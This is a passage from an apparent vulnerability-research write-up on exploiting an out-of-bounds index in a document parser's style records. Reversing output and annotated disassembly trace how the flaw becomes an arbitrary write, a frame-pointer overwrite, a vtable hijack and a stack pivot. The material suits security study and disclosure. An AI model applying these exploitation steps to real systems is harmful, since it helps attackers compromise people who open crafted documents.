If this check is passed, the array that was read will be used to construct the prior-mentioned short object and then written to the array of six objects that are located on the stack. There is no other code within this function that uses this 16-bit integer array, and since it is used to temporarily store the array of 16-bit integers read from the file, we can reuse its space to store any pointers that we will want to use during exploitation.
Vulnerability's capabilities
Moving back to the proof-of-concept, we'll need to combine the two mentioned cases for record 0x2008
, so that we can emit the necessary records to write to an arbitrary address. Case 5
, allows us to store an array of 16-bit integers into a buffer, so we will use this to store the pointers that will be dereferenced to the lv_wstring(28)_54
field. Case 7
, allows us to specify an out-of-bounds index and so we can specify an index that will dereference a pointer from the lv_wstring(28)_54
field that we loaded with case 5
. The combination of these two types allows us to write a controlled 32-bit integer to a controlled address.
Due to the limit of our scope, with the vulnerability being at the very beginning of the document being parsed, we are restricted in that we must use the vulnerability to load the entirety of our payload within the application’s address space. This implies that we’ll need to promote the primitive 32-bit write to an arbitrary address into a primitive that allows us to write an arbitrary amount of data to an arbitrary address. If we use the same technique of one record with type 5
followed by a record of type 7
, this would result in a size cost of six bytes composed of the type
, size
, and index
, followed by 32 bits for the integer or the address (10
bytes in total). Since both record types are being used, the overhead would be 20
bytes for every 32-bit integer that we wish to write. Fortunately, this overhead can be reduced due to there being more space within the lv_wstring(28)_54
field that we can use to store each address that will need to be written to.
The upper bound of the size before __report_rangecheckfailure
is 0x42
bytes and we will need to include extra space for the null-terminator at the beginning of the string. This will allow us to load 15 addresses for every type 5 record using 0x46
bytes. Then using a type 7
record for each integer to write will result in the cost being 10
bytes per 32-bit integer, an improvement. To accommodate an amount of data that is not a multiple of 4
, we simply write an unaligned 32-bit integer at the end for the extra bytes and proceed to fill the space before as described. After implementing these abstractions in our exploit, the next step is to figure out what to hijack.
Hijacking execution
As we can write anywhere within the address space, we could overwrite some global pointers to hijack execution. But, if we review the code within and around our immediate scope, the only virtual methods that are available to hijack are only used for reading the contents of the current stream being parsed. If we examine the contents of these objects, it turns out that there is absolutely nothing inside them that contains useful data or even pointers that may allow us to corrupt other parts of the application. As such, we need to hope that something we can influence with the contents of the stream resides at a predictable place in memory.
Python> struc.by('JSVDA::object_OSEG')
// [alloc.tag] OSEG
Python> struc.by('JSVDA::object_OSEG').members
// [alloc.tag] OSEG
[0] 0+0x4 int 'p_vftable_0' (, 4) // [vftable] 0x27818738
[1] 4+0xc object_OSEG::data 'v_data_4'
Python> struc.by('JSVDA::object_OSEG').members[1].type.members
[0] 4+0x4 int 'v_bucketIndex_0' (, 4)
[1] 8+0x8 __int64 'v_currentOffset?_4' (, 8)
This listing shows the layout of the object used to read data from the stream. As listed, the object has only one field which is the index or handle for the document. Due to the lack of ASLR, we could overwrite one of the virtual method tables that are referenced by this object. However, the only methods that the application uses from this object are used by the same record implementation to parse it. Anything we overwrite will immediately break this object and prevent the application from loading any more data from the document.
Examining the stack also shows that there are not any useful pointers other than one to a global object which is initialized statically and is thus scoped to the application. However, there are frame pointers on the stack that may be used. We will only need to discover a relative reference to one to use it. Due to the nature of how code is executed, we can assume that everything within our vulnerability’s context originates from a caller farther up the stack. Hence, it is either copied out of the heap belonging to another component, entered our scope via some global state, or enters scope as a parameter. We will also need to keep in mind that we are only able to write a 32-bit integer at +0x58
, 16-bit integers between +0x34
and +0x60
, or a pointer to a structure containing a string at +0x4C
relative to our chosen pointer. Hence, we will need to search to find a reference to a frame that allows us to hijack execution within these constraints.
If we capture the call stack at the point of the vulnerability being triggered, we can grab the layout of each frame, and use it to identify any fields that are +0x58
for case 7
, or +0x4C - 4
for case 5
.
Python> callstack = [0x3be11d03, 0x3be27501, 0x3be278b2, 0x3be2793e, 0x3c1fb083, 0x3c1fb495, 0x3c1fb4ef, 0x3be2795d]
Python> list(map(function.address, callstack))
[0x3be11906, 0x3be27048, 0x3be276be, 0x3be2790a, 0x3c1faf0f, 0x3c1fb3ed, 0x3c1fb4ab, 0x3be27954]
# Exchange each address in the backtrace with the function that owns it.
Python> functions = list(map(function.address, callstack))
Python> list(map(function.name, functions))
['object_9d0d30::readStyleType(2008)_391906', 'struc_3a9de4::parseStylesContent_3a7048', 'object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be', 'object_9c2044::parseStream(DocumentViewStyles)_3a790a', 'object_9c2044::method_processStreams_77af0f', 'object_9c2044::vmethod_processStreamsTwice_77b3ed', 'object_9e9d90::processDocumentByType_77b4ab', 'sub_3BE27954']
# Grab the frame for each function and align them contiguously.
Python> frames = list(map(func.frame, functions))
Python> contiguous = struc.right(frames[-1], frames[-1:])
# Enumerate all frame pointers and display the address we'd need to dereference to overwrite them.
Python> for frame in contiguous: print("{:#x} : {}".format(frame.byname(' s').offset - 0x58, frame.byname(' s')))
-0x640 :
-0x608 :
-0x55c :
-0x53c :
-0x2cc :
-0x9c :
-0x78 :
-0x60 :
# Gather them into a set.
Python> offsets = set(item.byname(' s').offset - 0x58 for item in contiguous)
# Display each frame and any of its members that contain one of the determined offsets.
Python> for frame in contiguous: print(frame), frame.members.list(offset=offsets), print()
[20] -63c+0x50 wchar_t[40] 'lv_wstring(28)_54' [(, 2), 40]
[12] -55c:+0x4 int 'var_58' (, 4) (flag=20000400,dt_type=20000000)
[20] -53c:+0x28 struc_3a9de4 'lv_struc_38' (flag=60000400,dt_type=60000000,typeid=ff0636f4) // [note] reference to desired object
[7] -4a0+0x228 object_2f27f8 'lv_object_22c'
[1] -248+0x200 wchar_t[256] 'lv_wstring_204' [(, 2), 256]
From this listing, we have only five results, only two of which appear to be pointing to a field that may be referenced. This number of results is small enough to verify manually and we discover that the field, lv_struc_38
, which begins at exactly 0x58
bytes from a frame pointer is perfect for our 32-bit write. This field belongs to the frame for the function at 0x3BE276BE
which is the method named object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be
. Examining the prototypes of the functions called by this method shows that the object appears to only be used by a single method.
# Grab all of the calls for function 0x3BE276BE that do not use a register as its operand.
Python> calls = {ins.op_ref(ref) for ref in function.calls(0x3BE276BE) if not isinstance(ins.op(ref), register_t)}
# List all functions that we selected.
Python> db.functions.list(typed=True, ea=calls)
[0] +0x109b2a : 0x3bb89b2a..0x3bb89b9e : (1) FvD+ : __thiscall object_10cbd2::get_field(3c)_109b2a : lvars:1c args:2 refs:100 exits:1
[1] +0x1329ce : 0x3bbb29ce..0x3bbb29e8 : (1) Fvt+ : __cdecl object_OSEG::setCurrentStreamPosition_1329ce : lvars:00 args:5 refs:182 exits:1
[2] +0x132a07 : 0x3bbb2a07..0x3bbb2a15 : (1) Fvt+ : __cdecl object_OSEG::destroy_132a07 : lvars:00 args:1 refs:270 exits:1
[3] +0x132de4 : 0x3bbb2de4..0x3bbb2e41 : (1) FvT+ : __cdecl object_OFRM::openStreamByName?_132de4 : lvars:08 args:4 refs:144 exits:1
[4] +0x1a9adb : 0x3bc29adb..0x3bc29bff : (1) FvD+ : __thiscall sub_3BC29ADB : lvars:68 args:1 refs:7 exits:1
[5] +0x1cbf85 : 0x3bc4bf85..0x3bc4c3f2 : (1) FvD+ : __thiscall sub_3BC4BF85 : lvars:6c args:2 refs:6 exits:1
[6] +0x1d5697 : 0x3bc55697..0x3bc558b7 : (1) FvD+ : __thiscall object_9bd120::method_1d5697 : lvars:8c args:1 refs:6 exits:1
[7] +0x2198ca : 0x3bc998ca..0x3bc9998f : (1) FvD+ : __thiscall sub_3BC998CA : lvars:28 args:4 refs:38 exits:1
[8] +0x3a7048 : 0x3be27048..0x3be27664 : (1) FvT+ : __thiscall struc_3a9de4::parseStylesContent_3a7048 : lvars:18 args:7 refs:2 exits:1
[9] +0x3a7664 : 0x3be27664..0x3be276be : (1) FvT+ : __cdecl object_OSEG::read_ushort_3a7664 : lvars:1c args:2 refs:90 exits:1
[10] +0x3a9547 : 0x3be29547..0x3be2955d : (1) FvD+ : __thiscall sub_3BE29547 : lvars:00 args:3 refs:5 exits:1
[11] +0x3a9638 : 0x3be29638..0x3be2963b : (1) FvD+ : __unknown return_3a9638 : lvars:00 args:0 refs:30 exits:1
[12] +0x3a9de4 : 0x3be29de4..0x3be29e05 : (1) FvD* : __thiscall constructor_3a9de4 : lvars:00 args:1 refs:7 exits:1
[13] +0x7b15a6 : 0x3c2315a6..0x3c23161a : (1) FvD+ : __thiscall object_10cbd2::get_field(38)_7b15a6 : lvars:1c args:2 refs:36 exits:1
[14] +0x7b9e07 : 0x3c239e07..0x3c239e7c : (1) FvD+ : __thiscall object_10cbd2::get_field(34)_7b9e07 : lvars:1c args:2 refs:98 exits:1
[15] +0x8ea4fd : 0x3c36a4fd..0x3c36a50e : (1) LvD+ : __unknown __EH_epilog3_GS : lvars:00 args:0 refs:2546 exits:0
# Grab all our results that are typed, and emit their prototype.
Python> for ea in db.functions(tag='__typeinfo__', ea=calls): print(function.tag(ea, '__typeinfo__')), print()
object_9bd184 *__thiscall object_10cbd2::get_field(3c)_109b2a(object_10cbd2 *this, __int16 avw_0)
int __cdecl object_OSEG::setCurrentStreamPosition_1329ce(JSVDA::object_OSEG *ap_oseg_0, int av_low_4, int av_high_8, int av_reset?_c, __int64 *ap_resultOffset_10)
int __cdecl object_OSEG::destroy_132a07(JSVDA::object_OSEG *ap_oseg_0)
int __cdecl object_OFRM::openStreamByName?_132de4(JSVDA::object_OFRM *ap_oframe_0, char *ap_streamName_4, int av_flags_8, JSVDA::object_OSEG **)
int __thiscall sub_3BC29ADB(object_9bd0e4 *this)
int __thiscall sub_3BC4BF85(object_9bd184 *this, int a2)
int __thiscall object_9bd120::method_1d5697(object_9bd120 *this)
int __thiscall sub_3BC998CA(object_9bd0e4 *this, int av_length_0, int av_field_4, int av_neg1_8)
int __thiscall struc_3a9de4::parseStylesContent_3a7048(struc_3a9de4 *this, JSVDA::object_OSEG *ap_oseg_0, int av_position(lo)_4, int av_position(hi)_8, int av_currentStreamState?_c, frame_3a7048_arg_10 ap_unkobjectunion_10, frame_3a7048_arg_14 ap_nullunion_14)
int __cdecl object_OSEG::read_ushort_3a7664(JSVDA::object_OSEG *ap_this_0, _WORD *ap_result_4)
_DWORD *__thiscall sub_3BE29547(_DWORD *this, __int16 arg_0, int arg_4)
void return_3a9638()
struc_3a9de4 *__thiscall constructor_3a9de4(struc_3a9de4 *this)
object_9bd120 *__thiscall object_10cbd2::get_field(38)_7b15a6(object_10cbd2 *this, __int16 avw_noCreate_0)
object_9bd0e4 *__thiscall object_10cbd2::get_field(34)_7b9e07(object_10cbd2 *this, __int16)
void __EH_epilog3_GS)
From the results in the listing, it seems that the struc_3a9de4::parseStylesContent_3a7048
method references our desired type as its this
parameter. During review of the struc_3a9de4::parseStylesContent_3a7048
method, the object represented by this
is stored in the %edi
register. Our goal is now to find a pointer to this structure either by being directly referenced or through the %edi
register from this method. To find a candidate, we can manually walk from the call stack and enumerate all the places where the type is used, or we can utilize a debugger to monitor the places that reference anything within the structure. Fortunately, our search space is relatively small and we can easily find it in the following listing.
.text:3BE27048 000 push ebp
.text:3BE27049 004 mov ebp, esp
.text:3BE2704B 004 sub esp, 0Ch
.text:3BE2704E 010 and [ebp+lv_result_4], 0
.text:3BE27052 010 push ebx
.text:3BE27053 014 mov ebx, [ebp+ap_oseg_0] ; parameter: struc_3a9de4 *this
...
.text:3BE274D4 loc_3BE274D4:
.text:3BE274D4 01C mov ecx, [ecx+object_9c2044.v_data_290.p_object_84]
.text:3BE274DA 01C mov eax, [ecx+object_9c2d50.v_data_4.p_object_60]
.text:3BE274DD 01C test eax, eax
.text:3BE274DF 01C jnz short loc_3BE274EE
.text:3BE274E1 01C call object_9c2d50::create_field(64)_6bf3a6
.text:3BE274E6 01C test eax, eax
.text:3BE274E8 01C jz loc_3BE27625
.text:3BE274EE
.text:3BE274EE loc_3BE274EE:
.text:3BE274EE 01C lea ecx, [ebp+lv_result_4]
.text:3BE274F1 01C push ecx
.text:3BE274F2 020 push dword ptr [ebp+ap_unkobjectunion_10]
.text:3BE274F5 024 mov ecx, eax
.text:3BE274F7 024 push [edi+struc_3a9de4.v_documentType_8]
.text:3BE274FA 028 push [ebp+ap_oseg_0]
.text:3BE274FD 02C push [edi+struc_3a9de4.v_header_long_4]
.text:3BE27500 030 push ebx ; pushed onto stack
.text:3BE27501 034 call object_9d0d30::readStyleType(2008)_391906
.text:3BE27506 01C jmp loc_3BE2736F
If we examine the caller of the object_9d0d30::readStyleType(2008)_391906
, and traverse backward from it, the first call instruction that we encounter calls a method named object_9c2d50::create_field(64)_6bf3a6
. This method is also called on the condition that a field, object_9c2d50::v_data_4::p_object_60
is initialized as zero. The relevant path from the beginning of the encompassing method to the conditionally called method is shown in the prior listing.
Due to both the object_9c2d50::create_field(64)_6bf3a6
and object_9d0d30::readStyleType(2008)_391906
functions being called by the same function, their frames are guaranteed to overlap. We aim to identify a function that preserves the %edi
register as part of its prolog by performing a breadth-first search from the struc_3a9de4::parseStylesContent_3a7048
method and using the results to build a list of candidate call stacks that could be filtered.
The following listing combines the call stack from the scope of the vulnerability to identify the candidate range to use when filtering the results. In this listing, the range is from -0xAC
to -0x58
. By applying this filter to our candidates, we discover that the prolog for function 0x3BDFD8F8
stores several registers within this range. One of these registers is our desired %edi
register, which is at offset -0xA4
in our listing. This overlaps with the lv_wstring(28)_54
field belonging to our vulnerable function's frame.
# Assign the callstacks that we will be comparing
callstack_for_vulnerability = [0x3be11906, 0x3be27048]
callstack_for_conditional = [0x3c36a51f, 0x3bdfd8f8, 0x3c13f3a6, 0x3be27048]
# Print out the first layout.
Python> [frame.members for frame in struc.right(0, map(function.frame, callstack_for_vulnerability))]
[
-11c+0x10 [None, 16]
[0] -10c+0x4 int 'var_B4' (, 4)
[1] -108+0x4 int 'var_B0' (, 4)
[2] -104+0x2 __int16 'var_AC' (, 2)
...
[8] -c+0x4 int 'av_currentStreamState?_c' (, 4) // [note] usually 2, and seems to be only used during exit
[9] -8+0x4 frame_3a7048_arg_10 'ap_unkobjectunion_10'
[10] -4+0x4 frame_3a7048_arg_14 'ap_boxunion_14' // [note] used by types 0x2008 and 0x2010]
# Print out the second layout.
Python> [frame.members for frame in struc.right(0, map(function.frame, callstack_for_conditional)))]
[
[0] -98+0x4 char[4] ' r' [(, 1), 4]
[1] -94+0x4 int 'arg_0' (, 4),
-90+0x10 [None, 16]
[0] -80+0x4 int 'var_10' (, 4)
...
[5] -18+0x4 JSVDA::object_OSEG* 'ap_oseg_0' (, 4) // [alias] flagField
[6] -14+0x4 int 'av_position(lo)_4' (, 4)
[7] -10+0x4 int 'av_position(hi)_8' (, 4)
[8] -c+0x4 int 'av_currentStreamState?_c' (, 4) // [note] usually 2, and seems to be only used during exit
[9] -8+0x4 frame_3a7048_arg_10 'ap_unkobjectunion_10'
[10] -4+0x4 frame_3a7048_arg_14 'ap_boxunion_14' // [note] used by types 0x2008 and 0x2010]
# Emit the members from the vulnerability's backtrace that we can dereference.
Python> [frame.members.list(bounds=(-0xc4, -0x58)) for frame in struc.right(0, map(function.frame, callstack_for_vulnerability))]
[19] -c4:+0x18 object_9d15a0*[6] 'lv_objects(6)_6c' [(, 4), 6] (flag=25500400,dt_type=20000000)
[20] -ac:+0x50 wchar_t[40] 'lv_wstring(28)_54' [(, 2), 40] (flag=10000400,dt_type=10000000)
[21] -5c:+0x4 int 'var_4' (, 4) (flag=20000400,dt_type=20000000)
# Emit the members within the other backtrace that overlaps lv_wstring(28)_54...var_4.
Python> [frame.members.list(bounds=(-0xac, -0x58)) for frame in struc.right(0, map(function.frame, callstack_for_conditional))]
[2] -ac:+0x4 int 'var_14' (, 4) (flag=20000400,dt_type=20000000)
[3] -a8:+0x4 int 'lv_canary_10' (, 4) (flag=20000400,dt_type=20000000)
[4] -a4:+0x4 int 'lv_reg(edi)_c' (, 4) (flag=20000400,dt_type=20000000)
[5] -a0:+0x4 int 'lv_reg(esi)_8' (, 4) (flag=20000400,dt_type=20000000)
[6] -9c:+0x4 int 'lv_reg(ebx)_4' (, 4) (flag=20000400,dt_type=20000000)
[7] -98:+0x4 char[4] ' r' [(, 1), 4] (flag=400,dt_type=0)
[8] -94:+0x4 int 'arg_0' (, 4) (flag=20000400,dt_type=20000000)
[0] -80:+0x4 int 'var_10' (, 4) (flag=20000400,dt_type=20000000)
[1] -74:+0x4 int 'var_4' (, 4) (flag=20000400,dt_type=20000000)
[2] -70:+0x4 char[4] ' s' [(, 1), 4] (flag=400,dt_type=0)
[3] -6c:+0x4 char[4] ' r' [(, 1), 4] (flag=400,dt_type=0)
[4] -68:+0x4 int 'ap_owner_0' (, 4) (flag=20000400,dt_type=20000000)
[5] -64:+0x4 int 'ap_owner_4' (, 4) (flag=20000400,dt_type=20000000)
There is a caveat, however, due to the object_9c2d50::create_field(64)_6bf3a6
method only being called when the object_9c2d50.v_data_4.p_object_60
field is initialized with 0x00000000
. Hence, we will use the decompiler to locate all known global references to this field within our scope and use them to determine if there is some way that we may initialize this value.
Unfortunately from these results, it turns out that the object_9c2d50.v_data_4.p_object_60
field is only initialized upon entry and exit and requires that this object is not constructed by any of the other record types. Verifying this using the debugger shows that this condition prevents us from using any of the other available record types that were necessary to leverage this path.
However, there are still more candidates we can go through. Another is at the first function call inside struc_3a9de4::parseStylesContent_3a7048
. This descends into the struc_3a9de4::readBoxHeader?_3a6fae
function, which then depends on a method defined within the JSVDA.DLL
library. The prolog of this method also pushes the %edi
register onto the stack. If we set a memory access breakpoint on writing to this address and modify our document to avoid hitting any of the other conditionals that we’ve identified within the function, we can confirm that the preserved reference to lv_struc_38
is accessible to us within our desired range.
Finally, we’ve been able to expand the capabilities of our vulnerability, which was originally an out-of-bounds array index, to a relative dereference with a 32-bit write. Then we reused some of the capabilities within the function that contained the vulnerability to promote the vulnerability into an arbitrary length write to an absolute address. Afterward, we leveraged the control flow to allow us to perform a frame-pointer overwrite for the frame preserved by the object_9c2044::parseStream(DocumentEditStyles)_3a6cb2
method which belongs to its caller, the object_9c2044::method_processStreams_77af0f
method. After the application has parsed our steam and returns to this method, we should have control of the frame pointer and the method’s local variables as a consequence. This should enable us to hijack execution more elegantly and still allow us to repair the damage that we’ve done with our vulnerability.
Hijacking frame pointer
Once we’ve developed the ability to control a frame pointer for a method that is still within our scope of processing our document, we can examine the frame and determine what might be available for us to modify with our present capabilities. The frame that we’ve overwritten in the prior section shows that we'll be able to control only a few variables. Unfortunately, at this point, the stream that we used to exercise the vulnerability has been closed, and if we tamper with this frame directly and the method ends up completing execution, the epilog of the function will fail due to its canary check resulting in fast-termination and process exit.
# List the frame belonging to the caller of the function containing the vulnerability.
[0] -264+0x4 int 'var_25C' (, 4)
[1] -260+0x4 int 'var_258' (, 4)
[2] -25c+0x4 int 'var_254' (, 4)
[3] -258+0x4 int 'var_250' (, 4)
[4] -254+0x18 frame_77af0f::field_24c 'lv_struc_24c'
[5] -23c+0x4 int 'lp_stackObject_234' (, 4)
[6] -238+0x4 JSVDA::object_OFRM* 'lp_oframe_230' (, 4)
[7] -234+0x228 object_2f27f8 'lv_object_22c'
[8] -c+0x4 int 'lv_result_4' (, 4)
[9] -8+0x4 char[4] ' s' [(, 1), 4]
[10] -4+0x4 char[4] ' r' [(, 1), 4]
[11] 0+0x4 JSVDA::object_OFRM* 'ap_oframe_0' (, 4)
[12] 4+0x4 unsigned int 'av_documentType_4' (, 4)
[13] 8+0x4 unsigned int 'av_flags_8' (, 4)
[14] c+0x4 struc_79aa9a* 'ap_stackobject_c' (, 4)
[15] 10+0x4 int 'ap_null_10' (, 4)
# The object located at offset -0x238 of the frame.
// [alloc.tag] OFRM
[0] 0+0x4 int 'p_vftable_0' (, 4) // [vftable] 0x278186F0
[1] 4+0x4 int 'v_index_4' (, 4) // {'note': 'object_117c5 handle', 'alloc.tag': 'MFCM', '__name__': 'v_index_4'}
This listing shows the contents of the object that we’ll be using. As previously mentioned, it contains a single field and is used to read from the document. This field is an integer representing an index into an array of objects within an entirely different module. Each object from this external array is an opened document which varies depending on the usage of the application. Hence, this field can be treated as a handle that might not be forgeable without knowledge of the contents of the module or the actions the user has already made.
However, we do have control of this object’s virtual method table reference, and since we haven't completely broken the application yet, we can capture the handle from elsewhere and use it to re-forge this object at a later stage once we've earned control of the stack. After this, we can then repair the frame during our loader to remain in good standing with the application.
.text:3C1FB1B6 loc_3C1FB1B6:
.text:3C1FB1B6 260 push [ebp+av_flags_8]
.text:3C1FB1B9 264 mov eax, [ebp+av_flags_8]
.text:3C1FB1BC 264 push ecx
.text:3C1FB1BD 268 and eax, 800h
.text:3C1FB1C2 268 mov ecx, esi
.text:3C1FB1C4 268 push ebx
.text:3C1FB1C5 26C mov [ebp+lv_struc_24c.field_14], eax
.text:3C1FB1CB 26C call object_9c2044::parseStream(DocumentViewStyles)_3a790a ; [note.exp] define some styles, ensure everything is initialized.
.text:3C1FB1D0 260 mov ebx, eax
.text:3C1FB1D2 260 cmp ebx, edi
.text:3C1FB1D4 260 jnz loc_3C1FAFD2
.text:3C1FB1DA 260 push [ebp+av_flags_8]
.text:3C1FB1DD 264 mov ecx, esi
.text:3C1FB1DF 264 push [ebp+av_documentType_4]
.text:3C1FB1E2 268 push [ebp+lp_oframe_230]
.text:3C1FB1E8 26C call object_9c2044::parseStream(DocumentEditStyles)_3a6cb2 ; [note.exp] hijack frame pointer here
.text:3C1FB1ED 260 mov ebx, eax
.text:3C1FB1EF 260 cmp ebx, edi
.text:3C1FB1F1 260 jnz loc_3C1FAFD2
.text:3C1FB1F7 260 push [ebp+lp_stackObject_234]
.text:3C1FB1FD 264 mov ecx, [esi+2D8h] ; this
.text:3C1FB203 264 push [ebp+av_flags_8] ; av_flags_8
.text:3C1FB206 268 push [ebp+av_documentType_4] ; av_documentType_4
.text:3C1FB209 26C push [ebp+lp_oframe_230] ; ap_oframe_0
.text:3C1FB20F 270 call object_10cbd2::processSomeStreams_778971 ; [note.exp] hijack execution here
.text:3C1FB214 264 mov ebx, eax
.text:3C1FB216 264 cmp ebx, edi
.text:3C1FB218 264 jnz loc_3C1FAFD2
The first place we'll be able to hijack execution is when the object owning the virtual method table that we’re taking control of is used to open up the next stream. The code that is listed shows the scope during which we control the frame pointer. In our exploit, this is where we hijack execution and completely pivot to a stack that we control to complete the necessary tasks for loading executable code into the address space.
.text:3C1FB1F7 260 push [ebp+lp_stackObject_234]
.text:3C1FB1FD 264 mov ecx, [esi+2D8h] ; this
.text:3C1FB203 264 push [ebp+av_flags_8] ; av_flags_8
.text:3C1FB206 268 push [ebp+av_documentType_4] ; av_documentType_4
.text:3C1FB209 26C push [ebp+lp_oframe_230] ; ap_oframe_0
.text:3C1FB20F 270 call object_10cbd2::processSomeStreams_778971 ; [note.exp] hijack execution here
\
.text:3C1F8971 000 push 0A4h
.text:3C1F8976 004 mov eax, offset byte_3C3CCE1A
.text:3C1F897B 004 call __EH_prolog3_catch_GS
.text:3C1F8980 0C4 mov edi, ecx
.text:3C1F8982 0C4 mov [ebp+lp_this_64], edi
...
.text:3C1F89B1 0C4 lea eax, [ebp+lp_stream_50]
.text:3C1F89B4 0C4 push eax
.text:3C1F89B5 0C8 push ebx
.text:3C1F89B6 0CC call object_FRM::getStream(GroupingFileName)_1b974d
\
.text:3BC3974D 000 push ebp
.text:3BC3974E 004 mov ebp, esp
.text:3BC39750 004 push [ebp+ap_result_4] ; JSVDA::object_OSEG **
.text:3BC39753 008 push 10h ; av_flags_8
.text:3BC39755 00C push offset str.GroupingFileName ; [OpenStreamByName.reference] 0x3bc3975d
.text:3BC3975A 010 push [ebp+ap_oframe_0] ; ap_oframe_0
.text:3BC3975D 014 call object_OFRM::openStreamByName?_132de4
\
.text:3BBB2DE4 000 push ebp
.text:3BBB2DE5 004 mov ebp, esp
.text:3BBB2DE7 004 push ecx
.text:3BBB2DE8 008 mov eax, ___security_cookie
.text:3BBB2DED 008 xor eax, ebp
.text:3BBB2DEF 008 mov [ebp+var_4], eax
...
.text:3BBB2E1D loc_3BBB2E1D:
.text:3BBB2E1D 00C push [ebp+ap_result_c]
.text:3BBB2E20 010 mov ecx, [ebp+ap_oframe_0]
.text:3BBB2E23 010 push 0
.text:3BBB2E25 014 push [ebp+av_flags_8]
.text:3BBB2E28 018 mov edx, [ecx+JSVDA::object_OFRM.p_vftable_0] ; [note.exp] this is ours
.text:3BBB2E2A 018 push 0
.text:3BBB2E2C 01C push eax
.text:3BBB2E2D 020 push ecx
.text:3BBB2E2E 024 call dword ptr [edx+10h] ; [note.exp] branch here
\
; int __stdcall object_OFRM::method_openStream_2b5c5(JSVDA::object_OFRM *ap_this_0, wchar_t *ap_streamName_4, int a_unused_8, char avb_flags_c, int a_unused_10, JSVDA::object_OSEG **ap_result_14)
.text:277CB5C5 object_OFRM::method_openStream_2b5c5 proc near
.text:277CB5C5
.text:277CB5C5 000 push ebp
.text:277CB5C6 004 mov ebp, esp
.text:277CB5C8 004 push ecx
.text:277CB5C9 008 push ecx
.text:277CB5CA 00C push ebx
.text:277CB5CB 010 mov ebx, [ebp+ap_result_14]
...
In the listing, we descend through the different methods that get called during execution until we reach a virtual method named JSVDA::object_OFRM::method_openStream_2b5c5
. This method is dereferenced and then called to open up the next stream from the document. This is the virtual method that we will be using to hijack execution.
The JSVDA::object_OFRM::method_openStream_2b5c5
virtual method belongs to the JSVDA.DLL
module and takes six parameters before being called. This will need to be taken into account during our repurposing. As the stack will be adjusted by the implementation pushing said parameters and the preserved return address onto the stack, we will be required to include this adjustment in our new frame.
At this point, we have everything we need to execute code. However, we’ll need some way to resume execution after our instructions have been executed. To accomplish this, we’ll need to pivot the stack to one that we control. Generally, there are two ways in which we can pivot the stack. One way is to find a predictable address that we can write the addresses into, and then use a pivot that lets us perform an explicit assignment of that address to the %esp
register. Another way is to adjust the %esp
register to reference a part of the stack where we control its contents. To avoid having to write another contiguous chunk of data to a some known location using the vulnerability, the latter methodology was chosen as the primary candidate.
Pivoting Stack Pointer
Although we control a frame pointer and can use it to assign an arbitrary value to the instruction pointer, we do not have a clear way to execute multiple sequences of instructions to load executable code from our document. Hence, we need some way to set the stack pointer to a block of memory that we can use to resume execution after executing each chunk required to load our payload.
As mentioned previously, the vulnerability occurs within the very first stream that is parsed by the target. Hence, due to our document not being able to influence much in the application, it is necessary to find logic within the stream parser to satisfy our needs. As we’re attempting to execute code residing at multiple locations within a module, we’ll need some logic within the stream parsing implementation that can be used to load a large amount of our data into the application’s stack. To discover this, we can use a quick script at the entry point of the style record parser to enumerate all of the functions being called and identify the ones that have the large size allocated for its frame.
In the following query, it appears that object_9c2044::readStyleType(1000)_4d951d
is a likely candidate. Through manual reversing of the method, we can prove that its implementation allocates 0x18C8
bytes on the stack and reads 0x1000
bytes from its associated record directly into this allocated buffer.
# Grab the address of the function containing the different cases for record parsing
Python> f = db.a('struc_3a9de4::parseStylesContent_3a7048')
# List all functions that are called that also have a frame.
Python> db.functions.list(frame=True, ea=[ins.op_ref(oref) for oref in func.calls(f) if 'x' in oref])
[0] +0x0b8d12 : 0x3bb38d12..0x3bb38d71 : (1) FvD+ : __thiscall object_9c2d50::get_field(180)_b8d12 : lvars:001c args:2 refs:7 exits:1
[1] +0x109b2a : 0x3bb89b2a..0x3bb89b9e : (1) FvD+ : __thiscall object_10cbd2::get_field(3c)_109b2a : lvars:001c args:2 refs:100 exits:1
[2] +0x1329ce : 0x3bbb29ce..0x3bbb29e8 : (1) Fvt+ : __cdecl object_OSEG::setCurrentStreamPosition_1329ce : lvars:0000 args:5 refs:182 exits:1
[3] +0x1b6bf7 : 0x3bc36bf7..0x3bc36d66 : (1) FvD* : __thiscall object_9e5ffc::readStyleType(1000)_1b6bf7 : lvars:0044 args:4 refs:1 exits:1
[4] +0x1b8cd2 : 0x3bc38cd2..0x3bc38d0b : (1) FvD* : __thiscall object_9e5ffc::readStyleType(1001)_1b8cd2 : lvars:0004 args:4 refs:1 exits:1
[5] +0x1b8f99 : 0x3bc38f99..0x3bc39723 : (1) FvD* : __thiscall object_9bd0e4::readStyleType(2001)_1b8f99 : lvars:00a0 args:7 refs:2 exits:1
[6] +0x1cdcf6 : 0x3bc4dcf6..0x3bc4df7b : (1) FvD* : __thiscall object_9bd184::readStyleType(2002)_1cdcf6 : lvars:0040 args:5 refs:1 exits:1
[7] +0x1d24a9 : 0x3bc524a9..0x3bc52bef : (1) FvD* : __thiscall object_9bd0e4::readStyleType(2001)_1d24a9 : lvars:00b4 args:6 refs:1 exits:1
[8] +0x1d63a3 : 0x3bc563a3..0x3bc56601 : (1) FvT* : __thiscall object_9bd120::readStyleType(2003)_1d63a3 : lvars:0094 args:5 refs:1 exits:1
[9] +0x391906 : 0x3be11906..0x3be11d9c : (1) FvT* : __thiscall object_9d0d30::readStyleType(2008)_391906 : lvars:00c4 args:7 refs:1 exits:2
[10] +0x392cab : 0x3be12cab..0x3be12ee2 : (1) FvT* : __thiscall object_9d0d30::readStyleType(2010)_392cab : lvars:0064 args:7 refs:1 exits:1
[11] +0x393e4b : 0x3be13e4b..0x3be13f08 : (1) F-D+ : __cdecl object_OSEG::pushCurrentStream?_393e4b : lvars:000c args:5 refs:1 exits:1
[12] +0x3a6bec : 0x3be26bec..0x3be26cb2 : (1) FvD* : __thiscall struc_3a9de4::readStyleType(2005)_3a6bec : lvars:0014 args:4 refs:1 exits:1
[13] +0x3a6cf0 : 0x3be26cf0..0x3be26d44 : (1) FvD+ : __cdecl object_OSEG::decode_long_3a6cf0 : lvars:001c args:2 refs:86 exits:1
[14] +0x3a6d44 : 0x3be26d44..0x3be26d8b : (1) FvT+ : __thiscall box_header::deserialize_3a6d44 : lvars:000c args:2 refs:7 exits:1
[15] +0x3a6d8b : 0x3be26d8b..0x3be26fae : (1) F-T+ : __thiscall struc_3a9de4::ensureFieldObjectsConstructed??_3a6d8b : lvars:0008 args:2 refs:11 exits:1
